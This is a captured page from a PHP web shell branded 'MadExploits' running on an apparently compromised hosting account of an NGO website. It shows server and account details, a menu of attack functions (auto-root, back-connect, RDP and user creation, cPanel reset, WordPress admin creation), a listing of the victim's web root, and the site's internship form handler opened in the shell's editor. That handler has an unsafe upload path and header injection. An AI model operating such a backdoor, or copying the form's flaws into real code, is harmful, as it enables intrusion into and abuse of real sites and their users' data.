Linux in-mum-web1949.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
: 2a02:4780:11:2049:0:237f:5677:4 | : 216.73.217.65
Cant Read [ /etc/named.conf ]
7.4.33
u595547767
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
u595547767 /
domains /
nilasevasamithi.com /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
PHPMailer
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
rahul
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
.htaccess
248
B
-rw-r--r--
Annual-Reports.php
8.9
KB
-rw-r--r--
Annual-Reports.php.zip
200.41
MB
-rw-r--r--
CSR.php
12.65
KB
-rw-r--r--
Events.php
7.61
KB
-rw-r--r--
Gallery.php
8.6
KB
-rw-r--r--
Internship.php
10.6
KB
-rw-r--r--
Media.php
8.2
KB
-rw-r--r--
Meet-our-team.php
14.83
KB
-rw-r--r--
News-Letter.php
8.88
KB
-rw-r--r--
Volunteer.php
12.2
KB
-rw-r--r--
Work-with-us.php
8.78
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
codex.html
0
B
-rw-r--r--
contact.php
11.3
KB
-rw-r--r--
donate.php
12.98
KB
-rw-r--r--
footer.php
4.9
KB
-rw-r--r--
index.php
21.64
KB
-rw-r--r--
process_internship.php
3.15
KB
-rw-r--r--
service_details.php
11.12
KB
-rw-r--r--
solvers.txt
0
B
-rw-r--r--
who-we-are.php
11.99
KB
-rw-r--r--
whyus.php
538
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : process_internship.php
<?php // Check if the form is submitted if ($_SERVER["REQUEST_METHOD"] == "POST") { // Capture form data $name = htmlspecialchars($_POST['name']); $email = htmlspecialchars($_POST['email']); $phone = htmlspecialchars($_POST['mob']); $education = htmlspecialchars($_POST['education']); $interest = htmlspecialchars($_POST['interest']); $message = htmlspecialchars($_POST['message']); $message1 = htmlspecialchars($_POST['message1']); // Handle file upload (resume) $resume = $_FILES['resume']; $resumeTmp = $resume['tmp_name']; $resumeName = $resume['name']; $resumeSize = $resume['size']; $resumeError = $resume['error']; // File upload validation if ($resumeError !== UPLOAD_ERR_OK) { echo "Error uploading the resume file!"; exit; } // Validate file type (PDF or DOCX) $allowedTypes = ['application/pdf', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document']; $fileType = mime_content_type($resumeTmp); if (!in_array($fileType, $allowedTypes)) { echo "Invalid file type. Only PDF and DOCX files are allowed."; exit; } // Optionally: Move the uploaded resume to a directory on the server $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } $uploadPath = $uploadDir . basename($resumeName); if (!move_uploaded_file($resumeTmp, $uploadPath)) { echo "Error saving the resume file!"; exit; } // Prepare email $to = 'testing@360degreekerala.com'; // The recipient email address (Hiring Manager) $subject = "Job Application from $name"; $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-Type: multipart/mixed; boundary=\"boundary12345\"" . "\r\n"; $headers .= "From: $email" . "\r\n"; $body = "--boundary12345\r\n"; $body .= "Content-Type: text/plain; charset=UTF-8\r\n\r\n"; $body .= "Name: $name\r\n"; $body .= "Email: $email\r\n"; $body .= "Phone: $phone\r\n"; $body .= "Educational Qualification: $education\r\n"; $body .= "Area of Interest: $interest\r\n"; $body .= "Why do you want to join Nila Sevasamithi? : $message\r\n"; $body .= "Message:\r\n$message1\r\n\r\n"; // Attach resume to the email $resumeContent = chunk_split(base64_encode(file_get_contents($uploadPath))); $body .= "--boundary12345\r\n"; $body .= "Content-Type: application/octet-stream; name=\"$resumeName\"\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n"; $body .= "Content-Disposition: attachment; filename=\"$resumeName\"\r\n\r\n"; $body .= $resumeContent . "\r\n"; $body .= "--boundary12345--\r\n"; // Send the email if (mail($to, $subject, $body, $headers)) { echo "<script>alert('Your application has been submitted successfully!');</script>"; echo "<script>window.location = 'Internship.php';</script>"; } else { echo "Failed to send the application. Please try again later."; } // Optionally: Delete the uploaded resume from the server after sending the email unlink($uploadPath); } else { echo "Invalid request!"; } ?>
Close